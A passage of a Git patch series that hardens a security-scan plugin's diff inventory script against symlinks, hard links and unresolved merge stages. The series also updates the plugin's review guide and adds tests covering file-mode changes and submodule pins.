differ. - Add directly supporting files required to understand the changed security behavior only when repository evidence shows they are needed; record the add-back reason in the work ledger or per-file result. - Deep-review every file selected into `deep_review_input.jsonl`. - Use `/work_ledger.jsonl` as the append-only record of claims and completions, and reconcile it against `deep_review_input.jsonl` so rows are not skipped or double-counted. diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index eeabcdbc..3353728d 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -411,6 +411,25 @@ describe("diff rank input", () => { ]); }); + test("requires full revision reviews from their exact immutable Git objects", async () => { + const guidance = await readFile( + join( + PLUGIN_ROOT, + "skills", + "security-scan", + "references", + "scan-artifacts-and-ledger.md", + ), + "utf8", + ); + + expect(guidance).toContain('git --no-replace-objects show ":"'); + expect(guidance).toContain('git --no-replace-objects show ":"'); + expect(guidance).toContain( + "Never substitute the current checkout for either immutable revision.", + ); + }); + test("does not apply repository replacement refs to selected revision content", async () => { const fixture = await createRepository(); await writeRepositoryFile( From 27c2000686c0e4b89c6ccc0ef4962a15694faca4 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 10 Aug 2026 14:21:37 -0700 Subject: [PATCH 36/46] fix(scan): keep diff inventory within declared boundaries --- .../scripts/generate_rank_input.py | 69 ++++++++++--- .../references/scan-artifacts-and-ledger.md | 2 +- .../tests-ts/diff-rank-input.test.ts | 98 ++++++++++++++----- 3 files changed, 129 insertions(+), 40 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index cbab0bc2..4bba55bd 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -363,7 +363,7 @@ def confined_diff_preview(repo: Path, path: Path, preview_bytes: int) -> tuple[s return "", False expected = path.stat(follow_symlinks=False) - if not stat.S_ISREG(expected.st_mode): + if not stat.S_ISREG(expected.st_mode) or expected.st_nlink != 1: return "", False resolved = path.resolve(strict=True) @@ -471,6 +471,30 @@ def local_patch_preview( return preview, False +def unmerged_diff_preview(repo: Path, path: Path, preview_bytes: int) -> str: + relative = path.relative_to(repo).as_posix() + result = subprocess.run( + ["git", "--no-replace-objects", "-C", str(repo), "ls-files", "--stage", "-z", "--", relative], + check=True, + capture_output=True, + text=True, + ) + lines: list[str] = [] + for entry in result.stdout.split("\0"): + if not entry: + continue + mode, object_name, stage = entry.split("\t", 1)[0].split() + if mode == "120000": + raise SystemExit("Changed diff paths must not contain symbolic links: " + relative) + preview, binary = git_blob_preview(repo, path, object_name, preview_bytes) + if not binary: + lines.extend((f"Git merge stage {stage}:", preview)) + current, binary = confined_diff_preview(repo, path, preview_bytes) + if current and not binary: + lines.extend(("Worktree:", current)) + return fit_preview_lines(lines, preview_bytes) + + def git_diff_entry(repo: Path, path: Path, mode: str, head: str) -> tuple[str, str] | None: relative = path.relative_to(repo).as_posix() arguments = ( @@ -511,12 +535,12 @@ def require_reviewable_diff_path(repo: Path, path: Path) -> None: if not path.exists() and not path.is_symlink(): return try: - if path.is_symlink() or not path.is_file(): + if path.is_symlink() or not path.is_file() or path.stat().st_nlink != 1: raise ValueError path.resolve(strict=True).relative_to(repo) except (OSError, ValueError): raise SystemExit( - "Changed diff paths must not contain symbolic links or non-regular files: " + "Changed diff paths must not contain symbolic links, hard links, or non-regular files: " + path.relative_to(repo).as_posix() ) from None @@ -859,16 +883,9 @@ def git_changed_paths(repo: Path, base: str, head: str, mode: str) -> list[tuple unstaged = run_git_changed_paths(repo, [base]) staged = run_git_changed_paths(repo, ["--cached", base]) combined = dict(staged) - combined.update(unstaged) - untracked = subprocess.run( - ["git", "--no-replace-objects", "-C", str(repo), "ls-files", "--others", "--exclude-standard", "-z"], - check=True, - capture_output=True, - text=True, - ) - for path in untracked.stdout.split("\0"): - if path: - combined.setdefault(repo / path, "A") + for path, status in unstaged: + if combined.get(path) != "U": + combined[path] = status return sorted(combined.items()) raise SystemExit(f"Unknown diff mode: {mode}") @@ -895,7 +912,9 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: if is_binary: continue elif status == "U": - preview = "" + require_reviewable_diff_path(repo, path) + preview = unmerged_diff_preview(repo, path, args.preview_bytes) + require_reviewable_diff_path(repo, path) else: entry = git_diff_entry(repo, path, args.mode, args.head) if entry is not None and entry[0] == "160000": @@ -914,6 +933,28 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: require_reviewable_diff_path(repo, path) if is_binary: continue + base_entry = git_diff_entry(repo, path, "revisions", args.base) + if ( + base_entry is not None + and entry is not None + and base_entry[0].startswith("100") + and entry[0].startswith("100") + ): + modes = [base_entry[0], entry[0]] + if args.mode == "local-patch" and os.name != "nt": + worktree_mode = "100755" if path.stat().st_mode & 0o111 else "100644" + if worktree_mode != modes[-1]: + modes.append(worktree_mode) + changes = [ + mode + for index, mode in enumerate(modes) + if index == 0 or mode != modes[index - 1] + ] + if len(changes) > 1: + preview = fit_preview_lines( + [f"Git file mode: {' → '.join(changes)}", preview], + args.preview_bytes, + ) rows.append({"path": rel.as_posix(), "area": args.area, "preview": preview}) rows.sort(key=lambda row: str(row["path"])) diff --git a/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md b/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md index da4088ad..236c8ad7 100644 --- a/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md +++ b/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md @@ -58,7 +58,7 @@ The parent agent must reconcile validation and attack-path subagent outputs befo - Use `deep_review_input.jsonl` as the canonical changed-file review worklist for diff scans. - For diff-scoped scans, generate `rank_input.jsonl` deterministically from changed source-like files with ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode revisions --head --out /rank_input.jsonl` for PR, commit, and branch diffs, or ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode local-patch --out /rank_input.jsonl` for a local patch, then copy every row into `deep_review_input.jsonl` with ` /scripts/generate_rank_input.py copy-deep-review-input --rank-input /rank_input.jsonl --out /deep_review_input.jsonl`. - Diff-scoped scans do not rank or drop changed files before deep review. Every row in diff `rank_input.jsonl` must be copied into `deep_review_input.jsonl` and receive a full-file review receipt. -- For revision-mode paths, read every nondeleted file in full from its selected head with `git --no-replace-objects show ":"`; read deleted files from their selected base with `git --no-replace-objects show ":"`. Never substitute the current checkout for either immutable revision. When a local-patch preview distinguishes the staged Git index from the worktree, review both `git --no-replace-objects show ":"` and the current file in full; inspect both staged and worktree submodule pins when they differ. +- Read revision-mode files from their selected immutable Git objects, using the head for existing files and the base for deleted files. Pass repository-controlled paths as process arguments; never interpolate them into a shell command. For local patches, review each recorded index stage, the worktree, and any differing submodule pins. - Add directly supporting files required to understand the changed security behavior only when repository evidence shows they are needed; record the add-back reason in the work ledger or per-file result. - Deep-review every file selected into `deep_review_input.jsonl`. - Use `/work_ledger.jsonl` as the append-only record of claims and completions, and reconcile it against `deep_review_input.jsonl` so rows are not skipped or double-counted. diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 3353728d..7b1e61e0 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -1,7 +1,9 @@ import { execFileSync } from "node:child_process"; import { + chmod, mkdir, mkdtemp, + link, readFile, realpath, rename, @@ -321,7 +323,7 @@ describe("diff rank input", () => { expect(rows.every((row) => row.preview.length > 0)).toBe(true); }); - test("inventories untracked security workflows without including ignored files", async () => { + test("keeps untracked files outside the declared local-patch scope", async () => { const fixture = await createRepository(); await Promise.all([ @@ -337,14 +339,79 @@ describe("diff rank input", () => { ), ]); - const rows = await runDiffRankInput(fixture, "local-patch"); + expect(await runDiffRankInput(fixture, "local-patch")).toEqual([]); + }); - expect(rows.map((row) => row.path)).toEqual([ - ".github/workflows/untracked.yml", - ]); - expect(rows[0]?.preview.length).toBeGreaterThan(0); + test("includes every unresolved Git index stage in a local patch", async () => { + const fixture = await createRepository(); + const workflow = ".github/workflows/conflicted.yml"; + await writeRepositoryFile(fixture.repository, workflow, "run: base\n"); + git(fixture.repository, "add", workflow); + git(fixture.repository, "commit", "-qm", "add workflow"); + fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + + const stages = ["base", "ours", "theirs"].map((label, index) => { + const object = execFileSync("git", ["hash-object", "-w", "--stdin"], { + cwd: fixture.repository, + encoding: "utf8", + input: `run: ${label}\n`, + }).trim(); + return `100644 ${object} ${index + 1}\t${workflow}\n`; + }); + execFileSync("git", ["update-index", "--index-info"], { + cwd: fixture.repository, + input: `0 ${"0".repeat(40)}\t${workflow}\n${stages.join("")}`, + }); + await writeRepositoryFile(fixture.repository, workflow, "run: worktree\n"); + + const [finding] = await runDiffRankInput(fixture, "local-patch"); + expect(finding?.path).toBe(workflow); + for (const label of ["base", "ours", "theirs", "worktree"]) { + expect(finding?.preview).toContain(`run: ${label}`); + } + }); + + test("includes executable mode changes in committed diff previews", async () => { + const fixture = await createRepository(); + git(fixture.repository, "update-index", "--chmod=+x", "src/app.ts"); + git(fixture.repository, "commit", "-qm", "make source executable"); + + const [finding] = await runDiffRankInput(fixture, "revisions"); + expect(finding?.path).toBe("src/app.ts"); + expect(finding?.preview).toContain("Git file mode: 100644 → 100755"); }); + test.skipIf(process.platform === "win32")( + "includes unstaged executable mode changes in local patch previews", + async () => { + const fixture = await createRepository(); + await chmod(join(fixture.repository, "src", "app.ts"), 0o755); + + const [finding] = await runDiffRankInput(fixture, "local-patch"); + expect(finding?.path).toBe("src/app.ts"); + expect(finding?.preview).toContain("Git file mode: 100644 → 100755"); + }, + ); + + test.skipIf(process.platform === "win32")( + "rejects changed worktree files with another hard link", + async () => { + const fixture = await createRepository(); + const external = join(fixture.root, "external-source.yml"); + const workflow = ".github/workflows/linked.yml"; + await writeFile(external, "synthetic private source\n"); + await mkdir(join(fixture.repository, ".github", "workflows"), { + recursive: true, + }); + await link(external, join(fixture.repository, workflow)); + git(fixture.repository, "add", workflow); + + await expect(runDiffRankInput(fixture, "local-patch")).rejects.toThrow( + /hard links/, + ); + }, + ); + test("previews revision changes from their selected head instead of the current checkout", async () => { const fixture = await createRepository(); await Promise.all([ @@ -411,25 +478,6 @@ describe("diff rank input", () => { ]); }); - test("requires full revision reviews from their exact immutable Git objects", async () => { - const guidance = await readFile( - join( - PLUGIN_ROOT, - "skills", - "security-scan", - "references", - "scan-artifacts-and-ledger.md", - ), - "utf8", - ); - - expect(guidance).toContain('git --no-replace-objects show ":"'); - expect(guidance).toContain('git --no-replace-objects show ":"'); - expect(guidance).toContain( - "Never substitute the current checkout for either immutable revision.", - ); - }); - test("does not apply repository replacement refs to selected revision content", async () => { const fixture = await createRepository(); await writeRepositoryFile( From 7daad6b85194071ad12448dd1afc420c46f01a05 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 10 Aug 2026 14:40:51 -0700 Subject: [PATCH 37/46] Preserve Git conflict pins and honor checkout file-mode boundaries --- .../scripts/generate_rank_input.py | 37 +++++++++-- .../references/scan-artifacts-and-ledger.md | 2 +- .../tests-ts/diff-rank-input.test.ts | 64 +++++++++++++++++++ 3 files changed, 95 insertions(+), 8 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 4bba55bd..ea140a76 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -486,6 +486,9 @@ def unmerged_diff_preview(repo: Path, path: Path, preview_bytes: int) -> str: mode, object_name, stage = entry.split("\t", 1)[0].split() if mode == "120000": raise SystemExit("Changed diff paths must not contain symbolic links: " + relative) + if mode == "160000": + lines.extend((f"Git merge stage {stage}:", f"Git submodule commit {object_name}")) + continue preview, binary = git_blob_preview(repo, path, object_name, preview_bytes) if not binary: lines.extend((f"Git merge stage {stage}:", preview)) @@ -531,11 +534,15 @@ def git_diff_entry(repo: Path, path: Path, mode: str, head: str) -> tuple[str, s return fields[0], revision -def require_reviewable_diff_path(repo: Path, path: Path) -> None: +def require_reviewable_diff_path( + repo: Path, path: Path, *, reject_hard_links: bool = False +) -> None: if not path.exists() and not path.is_symlink(): return try: - if path.is_symlink() or not path.is_file() or path.stat().st_nlink != 1: + if path.is_symlink() or not path.is_file() or ( + reject_hard_links and path.stat().st_nlink != 1 + ): raise ValueError path.resolve(strict=True).relative_to(repo) except (OSError, ValueError): @@ -895,6 +902,18 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: if not repo.is_dir(): raise SystemExit(f"Repo path not found: {repo}") + track_worktree_filemode = False + if args.mode == "local-patch" and os.name != "nt": + filemode = subprocess.run( + ["git", "--no-replace-objects", "-C", str(repo), "config", "--bool", "core.filemode"], + check=False, + capture_output=True, + text=True, + ) + if filemode.returncode not in (0, 1): + raise SystemExit("Could not determine whether Git tracks working-tree file modes.") + track_worktree_filemode = filemode.stdout.strip() != "false" + rows: list[JsonRow] = [] for path, status in git_changed_paths(repo, args.base, args.head, args.mode): rel = path.relative_to(repo) @@ -912,9 +931,9 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: if is_binary: continue elif status == "U": - require_reviewable_diff_path(repo, path) + require_reviewable_diff_path(repo, path, reject_hard_links=True) preview = unmerged_diff_preview(repo, path, args.preview_bytes) - require_reviewable_diff_path(repo, path) + require_reviewable_diff_path(repo, path, reject_hard_links=True) else: entry = git_diff_entry(repo, path, args.mode, args.head) if entry is not None and entry[0] == "160000": @@ -924,13 +943,17 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: raise SystemExit( "Changed diff paths must not contain symbolic links: " + rel.as_posix() ) - require_reviewable_diff_path(repo, path) + require_reviewable_diff_path( + repo, path, reject_hard_links=args.mode == "local-patch" + ) preview, is_binary = ( revision_diff_preview(repo, path, args.head, args.preview_bytes) if args.mode == "revisions" else local_patch_preview(repo, path, entry, args.preview_bytes) ) - require_reviewable_diff_path(repo, path) + require_reviewable_diff_path( + repo, path, reject_hard_links=args.mode == "local-patch" + ) if is_binary: continue base_entry = git_diff_entry(repo, path, "revisions", args.base) @@ -941,7 +964,7 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: and entry[0].startswith("100") ): modes = [base_entry[0], entry[0]] - if args.mode == "local-patch" and os.name != "nt": + if track_worktree_filemode: worktree_mode = "100755" if path.stat().st_mode & 0o111 else "100644" if worktree_mode != modes[-1]: modes.append(worktree_mode) diff --git a/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md b/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md index 236c8ad7..17c4e54e 100644 --- a/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md +++ b/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md @@ -58,7 +58,7 @@ The parent agent must reconcile validation and attack-path subagent outputs befo - Use `deep_review_input.jsonl` as the canonical changed-file review worklist for diff scans. - For diff-scoped scans, generate `rank_input.jsonl` deterministically from changed source-like files with ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode revisions --head --out /rank_input.jsonl` for PR, commit, and branch diffs, or ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode local-patch --out /rank_input.jsonl` for a local patch, then copy every row into `deep_review_input.jsonl` with ` /scripts/generate_rank_input.py copy-deep-review-input --rank-input /rank_input.jsonl --out /deep_review_input.jsonl`. - Diff-scoped scans do not rank or drop changed files before deep review. Every row in diff `rank_input.jsonl` must be copied into `deep_review_input.jsonl` and receive a full-file review receipt. -- Read revision-mode files from their selected immutable Git objects, using the head for existing files and the base for deleted files. Pass repository-controlled paths as process arguments; never interpolate them into a shell command. For local patches, review each recorded index stage, the worktree, and any differing submodule pins. +- Read revision-mode files from their selected immutable Git objects with `--no-replace-objects`, using the head for existing files and the base for deleted files. Pass repository-controlled paths as process arguments; never interpolate them into a shell command. For local patches, review each recorded index stage, the worktree, and any differing submodule pins. - Add directly supporting files required to understand the changed security behavior only when repository evidence shows they are needed; record the add-back reason in the work ledger or per-file result. - Deep-review every file selected into `deep_review_input.jsonl`. - Use `/work_ledger.jsonl` as the append-only record of claims and completions, and reconcile it against `deep_review_input.jsonl` so rows are not skipped or double-counted. diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 7b1e61e0..115ff9a1 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -393,6 +393,24 @@ describe("diff rank input", () => { }, ); + test.skipIf(process.platform === "win32")( + "does not invent executable mode changes when Git ignores file modes", + async () => { + const fixture = await createRepository(); + git(fixture.repository, "config", "core.filemode", "false"); + await writeRepositoryFile( + fixture.repository, + "src/app.ts", + "export const value = 2;\n", + ); + await chmod(join(fixture.repository, "src", "app.ts"), 0o755); + + const [finding] = await runDiffRankInput(fixture, "local-patch"); + expect(finding?.path).toBe("src/app.ts"); + expect(finding?.preview).not.toContain("Git file mode:"); + }, + ); + test.skipIf(process.platform === "win32")( "rejects changed worktree files with another hard link", async () => { @@ -412,6 +430,28 @@ describe("diff rank input", () => { }, ); + test.skipIf(process.platform === "win32")( + "reads revision objects even when the current checkout has another hard link", + async () => { + const fixture = await createRepository(); + await writeRepositoryFile( + fixture.repository, + "src/app.ts", + "export const value = 2;\n", + ); + git(fixture.repository, "add", "src/app.ts"); + git(fixture.repository, "commit", "-qm", "update linked source"); + await link( + join(fixture.repository, "src", "app.ts"), + join(fixture.root, "linked-source.ts"), + ); + + const [finding] = await runDiffRankInput(fixture, "revisions"); + expect(finding?.path).toBe("src/app.ts"); + expect(finding?.preview).toContain("value = 2"); + }, + ); + test("previews revision changes from their selected head instead of the current checkout", async () => { const fixture = await createRepository(); await Promise.all([ @@ -603,6 +643,30 @@ describe("diff rank input", () => { ]); }); + test("records every unresolved local-action submodule pin", async () => { + const fixture = await createRepository(); + const action = ".github/actions/local"; + const revisions = [fixture.base]; + for (const label of ["ours", "theirs"]) { + git(fixture.repository, "commit", "--allow-empty", "-qm", label); + revisions.push(git(fixture.repository, "rev-parse", "HEAD")); + } + fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + const stages = revisions.map( + (revision, index) => `160000 ${revision} ${index + 1}\t${action}\n`, + ); + execFileSync("git", ["update-index", "--index-info"], { + cwd: fixture.repository, + input: `0 ${"0".repeat(40)}\t${action}\n${stages.join("")}`, + }); + + const [finding] = await runDiffRankInput(fixture, "local-patch"); + expect(finding?.path).toBe(action); + for (const revision of revisions) { + expect(finding?.preview).toContain(`Git submodule commit ${revision}`); + } + }); + test("records unstaged local-action submodule revisions from their worktree", async () => { const fixture = await createRepository(); const submodule = join(fixture.repository, ".github", "actions", "local"); From 1670a68e063628afc5468db857bed34d0dd0249f Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 10 Aug 2026 14:56:38 -0700 Subject: [PATCH 38/46] Review initialized submodule conflicts and every staged file mode --- .../scripts/generate_rank_input.py | 75 ++++++++++++------- .../references/scan-artifacts-and-ledger.md | 2 +- .../tests-ts/diff-rank-input.test.ts | 23 +++++- 3 files changed, 72 insertions(+), 28 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index ea140a76..fffe5694 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -471,6 +471,21 @@ def local_patch_preview( return preview, False +def submodule_worktree_revision(repo: Path, path: Path) -> str | None: + try: + path.resolve(strict=True).relative_to(repo) + result = subprocess.run( + ["git", "--no-replace-objects", "-C", str(path), "rev-parse", "--show-toplevel", "--verify", "HEAD"], + check=True, + capture_output=True, + text=True, + ) + except (OSError, ValueError, subprocess.CalledProcessError): + return None + lines = result.stdout.splitlines() + return lines[1] if len(lines) == 2 and Path(lines[0]).resolve() == path.resolve() else None + + def unmerged_diff_preview(repo: Path, path: Path, preview_bytes: int) -> str: relative = path.relative_to(repo).as_posix() result = subprocess.run( @@ -479,22 +494,44 @@ def unmerged_diff_preview(repo: Path, path: Path, preview_bytes: int) -> str: capture_output=True, text=True, ) + entries = [ + entry.split("\t", 1)[0].split() + for entry in result.stdout.split("\0") + if entry + ] + submodule_conflict = bool(entries) and all(mode == "160000" for mode, _, _ in entries) + if submodule_conflict: + try: + if path.is_symlink() or (path.exists() and not path.is_dir()): + raise ValueError + if path.exists(): + path.resolve(strict=True).relative_to(repo) + except (OSError, ValueError): + raise SystemExit("Changed diff paths must not contain symbolic links: " + relative) + else: + require_reviewable_diff_path(repo, path, reject_hard_links=True) + lines: list[str] = [] - for entry in result.stdout.split("\0"): - if not entry: - continue - mode, object_name, stage = entry.split("\t", 1)[0].split() + for mode, object_name, stage in entries: if mode == "120000": raise SystemExit("Changed diff paths must not contain symbolic links: " + relative) + stage_header = f"Git merge stage {stage} (mode {mode}):" if mode == "160000": - lines.extend((f"Git merge stage {stage}:", f"Git submodule commit {object_name}")) + lines.extend((stage_header, f"Git submodule commit {object_name}")) continue preview, binary = git_blob_preview(repo, path, object_name, preview_bytes) if not binary: - lines.extend((f"Git merge stage {stage}:", preview)) - current, binary = confined_diff_preview(repo, path, preview_bytes) - if current and not binary: - lines.extend(("Worktree:", current)) + lines.extend((stage_header, preview)) + + if submodule_conflict: + worktree = submodule_worktree_revision(repo, path) if path.is_dir() else None + if worktree is not None and all(worktree != revision for _, revision, _ in entries): + lines.extend(("Worktree:", f"Git submodule commit {worktree}")) + else: + current, binary = confined_diff_preview(repo, path, preview_bytes) + if current and not binary: + lines.extend(("Worktree:", current)) + require_reviewable_diff_path(repo, path, reject_hard_links=True) return fit_preview_lines(lines, preview_bytes) @@ -516,21 +553,9 @@ def git_diff_entry(repo: Path, path: Path, mode: str, head: str) -> tuple[str, s fields = result.stdout.split("\0", 1)[0].split("\t", 1)[0].split() revision = fields[2] if mode == "revisions" else fields[1] if mode == "local-patch" and fields[0] == "160000" and path.is_dir(): - try: - path.resolve(strict=True).relative_to(repo) - worktree = subprocess.run( - ["git", "--no-replace-objects", "-C", str(path), "rev-parse", "--show-toplevel", "--verify", "HEAD"], - check=True, - capture_output=True, - text=True, - ) - except (OSError, ValueError, subprocess.CalledProcessError): - return fields[0], revision - lines = worktree.stdout.splitlines() - if len(lines) != 2 or Path(lines[0]).resolve() != path.resolve(): - return fields[0], revision - if revision != lines[1]: - revision = f"{revision} (staged); {lines[1]} (worktree)" + worktree = submodule_worktree_revision(repo, path) + if worktree is not None and revision != worktree: + revision = f"{revision} (staged); {worktree} (worktree)" return fields[0], revision @@ -931,9 +956,7 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: if is_binary: continue elif status == "U": - require_reviewable_diff_path(repo, path, reject_hard_links=True) preview = unmerged_diff_preview(repo, path, args.preview_bytes) - require_reviewable_diff_path(repo, path, reject_hard_links=True) else: entry = git_diff_entry(repo, path, args.mode, args.head) if entry is not None and entry[0] == "160000": diff --git a/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md b/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md index 17c4e54e..5f0b1131 100644 --- a/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md +++ b/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md @@ -58,7 +58,7 @@ The parent agent must reconcile validation and attack-path subagent outputs befo - Use `deep_review_input.jsonl` as the canonical changed-file review worklist for diff scans. - For diff-scoped scans, generate `rank_input.jsonl` deterministically from changed source-like files with ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode revisions --head --out /rank_input.jsonl` for PR, commit, and branch diffs, or ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode local-patch --out /rank_input.jsonl` for a local patch, then copy every row into `deep_review_input.jsonl` with ` /scripts/generate_rank_input.py copy-deep-review-input --rank-input /rank_input.jsonl --out /deep_review_input.jsonl`. - Diff-scoped scans do not rank or drop changed files before deep review. Every row in diff `rank_input.jsonl` must be copied into `deep_review_input.jsonl` and receive a full-file review receipt. -- Read revision-mode files from their selected immutable Git objects with `--no-replace-objects`, using the head for existing files and the base for deleted files. Pass repository-controlled paths as process arguments; never interpolate them into a shell command. For local patches, review each recorded index stage, the worktree, and any differing submodule pins. +- Use `--no-replace-objects` for every Git object read, including revision-mode files, local-patch index stages, and submodule pins. Read existing revision-mode files from the selected head and deleted files from the base. Pass repository-controlled paths as process arguments; never interpolate them into a shell command. For local patches, review each recorded index stage, the worktree, and any differing submodule pins. - Add directly supporting files required to understand the changed security behavior only when repository evidence shows they are needed; record the add-back reason in the work ledger or per-file result. - Deep-review every file selected into `deep_review_input.jsonl`. - Use `/work_ledger.jsonl` as the append-only record of claims and completions, and reconcile it against `deep_review_input.jsonl` so rows are not skipped or double-counted. diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 115ff9a1..d70136b9 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -356,7 +356,8 @@ describe("diff rank input", () => { encoding: "utf8", input: `run: ${label}\n`, }).trim(); - return `100644 ${object} ${index + 1}\t${workflow}\n`; + const mode = index === 1 ? "100755" : "100644"; + return `${mode} ${object} ${index + 1}\t${workflow}\n`; }); execFileSync("git", ["update-index", "--index-info"], { cwd: fixture.repository, @@ -369,6 +370,7 @@ describe("diff rank input", () => { for (const label of ["base", "ours", "theirs", "worktree"]) { expect(finding?.preview).toContain(`run: ${label}`); } + expect(finding?.preview).toContain("Git merge stage 2 (mode 100755):"); }); test("includes executable mode changes in committed diff previews", async () => { @@ -665,6 +667,25 @@ describe("diff rank input", () => { for (const revision of revisions) { expect(finding?.preview).toContain(`Git submodule commit ${revision}`); } + + const submodule = join(fixture.repository, action); + await mkdir(submodule, { recursive: true }); + git(submodule, "init", "-q", "-b", "main"); + git(submodule, "config", "user.name", "Codex Security Test"); + git(submodule, "config", "user.email", "codex-security@example.invalid"); + git(submodule, "config", "commit.gpgsign", "false"); + await writeRepositoryFile(submodule, "action.yml", "runs: worktree\n"); + git(submodule, "add", "action.yml"); + git(submodule, "commit", "-qm", "initialize conflicted action"); + const worktree = git(submodule, "rev-parse", "HEAD"); + + const [initialized] = await runDiffRankInput(fixture, "local-patch"); + expect(initialized?.path).toBe(action); + for (const revision of [...revisions, worktree]) { + expect(initialized?.preview).toContain( + `Git submodule commit ${revision}`, + ); + } }); test("records unstaged local-action submodule revisions from their worktree", async () => { From cd04e3241b114cd94040c74e89989e1eb7244aea Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 10 Aug 2026 15:09:22 -0700 Subject: [PATCH 39/46] Preserve mixed submodule conflicts and binary stage modes --- .../scripts/generate_rank_input.py | 12 ++--- .../tests-ts/diff-rank-input.test.ts | 50 +++++++++++++++++++ 2 files changed, 56 insertions(+), 6 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index fffe5694..877f7209 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -499,8 +499,9 @@ def unmerged_diff_preview(repo: Path, path: Path, preview_bytes: int) -> str: for entry in result.stdout.split("\0") if entry ] - submodule_conflict = bool(entries) and all(mode == "160000" for mode, _, _ in entries) - if submodule_conflict: + submodule_conflict = any(mode == "160000" for mode, _, _ in entries) + directory_conflict = submodule_conflict and path.is_dir() + if directory_conflict: try: if path.is_symlink() or (path.exists() and not path.is_dir()): raise ValueError @@ -520,11 +521,10 @@ def unmerged_diff_preview(repo: Path, path: Path, preview_bytes: int) -> str: lines.extend((stage_header, f"Git submodule commit {object_name}")) continue preview, binary = git_blob_preview(repo, path, object_name, preview_bytes) - if not binary: - lines.extend((stage_header, preview)) + lines.extend((stage_header, "(binary content)" if binary else preview)) - if submodule_conflict: - worktree = submodule_worktree_revision(repo, path) if path.is_dir() else None + if directory_conflict: + worktree = submodule_worktree_revision(repo, path) if worktree is not None and all(worktree != revision for _, revision, _ in entries): lines.extend(("Worktree:", f"Git submodule commit {worktree}")) else: diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index d70136b9..53dc92ba 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -383,6 +383,32 @@ describe("diff rank input", () => { expect(finding?.preview).toContain("Git file mode: 100644 → 100755"); }); + test("preserves executable modes for binary merge-conflict stages", async () => { + const fixture = await createRepository(); + const action = ".github/actions/local/run.sh"; + await writeRepositoryFile(fixture.repository, action, "run safe\n"); + git(fixture.repository, "add", action); + git(fixture.repository, "commit", "-qm", "add local action"); + fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + + const stages = ["100644", "100755", "100644"].map((mode, index) => { + const object = execFileSync("git", ["hash-object", "-w", "--stdin"], { + cwd: fixture.repository, + 